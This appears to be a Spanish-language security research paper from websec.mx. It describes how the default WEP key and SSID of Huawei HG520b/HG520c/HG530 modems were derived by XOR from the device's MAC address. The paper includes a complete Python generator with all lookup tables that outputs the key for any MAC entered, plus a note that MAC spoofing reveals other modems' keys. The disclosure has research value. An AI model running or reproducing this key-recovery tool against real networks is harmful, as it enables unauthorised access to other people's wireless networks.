You are on page 1of 7

13/1/2011

mac2wepkey
Huawei HG520 WEP default

Huawei HG520b, HG520c y HG530

Es posible generar la WEP/WPA default de los módems Huawei modelos HG520. El propósito
de este documento es explicar la forma en la que desarrollamos un generador para estos
dispositivos.

Los módems Huawei modelos HG520b y HG520c cuentan con un software para generar su
contraseña WEP y SSID predeterminados a partir de su dirección MAC. El nombre de este
software es mac2wepkey y se encuentra disponible en su interfaz de TELNET.

Es posible cambiar la dirección MAC de nuestro módem para generar la WEP prederterminada
de otro módem del cual conozcamos su dirección MAC.

Obtener la WEP predeterminada de un HG520 a partir de su MAC usando TELNET


Esto fue publicado en los foros de la Comunidad Underground de México por adiaz en Agosto
del 2010. Los últimos meses hemos estado investigando para obtener un algoritmo para
desarrollar nuestro generador y por fin lo hemos logrado!

El primer paso fue generar algunas listas de poca longitud, de 100 a 200 lineas, y buscar en
ellas algún patrón. Lo primero que notamos fue que la WEP tomaba valores del 30 al 39 y del
61 al 66. Estos valores corresponden a los números 1 al 9 y a las letras a-f en codificación
ASCII.

WEP y SSID predeterminados en módems Huawei

Al analizar las listas notamos que tenían partes que se repetían en pares, así que formando
una lista fue posible predecir el SSID y WEP consecutivo. Al observar esto concluimos que no
utilizaba ningún algoritmo de encripción complejo. Después de analizar los bits y la manera en
que cambian, en pares, supimos que podía ser XOR.

Primero se generaron listas generando los valores con un módem, estas listas se generaron
por cada byte de la MAC, ejemplo:

Cuando introducimos la MAC(0) obtenemos el SSID Base (5aba) y WEP Base (6434376537)
que utilizaremos para calcular todas las listas.
Para obtener el valor del primer byte del SSID necesitamos primero generar varias listas. Las
listas completas para cada dígito de la MAC (como se muestra parcialmente en la tabla
anterior). Teniendo esta lista realizamos XOR 5 a todos los primeros dígitos del SSID y
obtenemos la lista N1.

XOR 5 (5,b,f,1,d)= 0,14,10,4,8

Completa quedaría así:


N1=(0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12)

A continuación realizaremos un ejemplo real utilizando la MAC(x): 81:23:45:AB:CD:EF

A cada byte corresponde una lista diferente.

La lista SsidA contine las listas necesarias para obtener el primer caracter del SSID. El primer
byte de la MAC corresponde a la lista N1.

El valor del primer byte es 8, si lo relacionamos en la lista N1, su valor corresponde a 0.


De la misma manera obtenemos cada valor para los 12 bytes de la MAC con su lista
correspondiente.

Ya que tenemos los 12 valores se les aplica XOR agregando el valor del primer byte del SSID
Base (5aba).

Esto da como resultado 1, que viene siendo el primer byte del SSID(x). Se repite este proceso
para las 4 listas del SSID y obtenemos:

Para obtener los valores de la WEP el proceso es el mismo. Primero obtenemos, para el primer
byte de la MAC, todos los valores correspondientes.

Al tener los 12 valores se les aplica XOR agregando el valor del primer byte de la MAC Base
(6434376537). El primer byte corresponde a 64 en ASCII que viene siendo d en
HEXADECIMAL y al convertirlo a DECIMAL su valor es 13.
Obtenemos como resultado 4. Al convertirlo a ASCII nos da 34 que corresponde al primer byte
de la clave WEP.

Repetimos este proceso para las 5 listas de los bytes de la WEP y obtenemos como resultado
la WEP default:

Hemos desarrollado el generador en varios lenguajes, en esta ocasión compartiremos la


versión de python: http://www.websec.mx/blog/ver/mac2wepkey_huawei

# mac2wepkey Huawei HG520 by hochoa@websec.mx ­ 12/2010
i=0;mac=[]
a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8
a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10
a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6
a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12
a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8
a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11
a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4
a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4
a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14
a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7
a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11
a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12
a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11
a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9
n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12
n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13
n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5
n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6
n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14
n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7
n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6
n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0
n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4
n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15
n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12
n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9
n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11
n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10
n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1
n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11
n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6
n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2
n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4
n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3
n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15
n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13
n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10
n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3
n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10
n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11
n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10
n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10
n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3
n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5
n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5
n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2
n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9
key=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66
ssid=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']
def hex2dec(s):
    return int(s, 16)
print "\n  #####################################################"
print "  #      Huawei Echo Life HG520 mac2wepkey     #"
print "  #     hochoa@websec.mx  ­ http://websec.mx    #"
print "  #####################################################"
mac2=raw_input("\n  Ingresa la MAC: ").replace(':','')
while i<12:
    mac.insert(i,hex2dec(mac2[i]));i=i+1
s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(
n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[
mac[10]])^(a9[mac[11]])^5
s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])
^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^
(a11[mac[10]])^(n32[mac[11]])^10
s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(
n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(
n30[mac[10]])^(n33[mac[11]])^11
s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]]
)^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^
(a6[mac[10]])^(a0[mac[11]])^10
ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^
(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[
mac[10]])^(a0[mac[11]])^13
yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(
a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[
mac[10]])^(a15[mac[11]])^4
yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(
a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[m
ac[10]])^(a1[mac[11]])^7
yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(
a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[m
ac[10]])^(a0[mac[11]])^14
ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(
a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[
mac[10]])^(a2[mac[11]])^7
print "\n       WEP = "+str(key[ya])+str(key[yb])+str(key[yc])
+str(key[yd])+str(key[ye])+"   SSID = "+str(ssid[s1])+str(ssid[s2])
+str(ssid[s3])+str(ssid[s4])+"\n\n"

Investigación realizada por Humberto Ochoa


hochoa@websec.mx

http://www.websec.mx

You might also like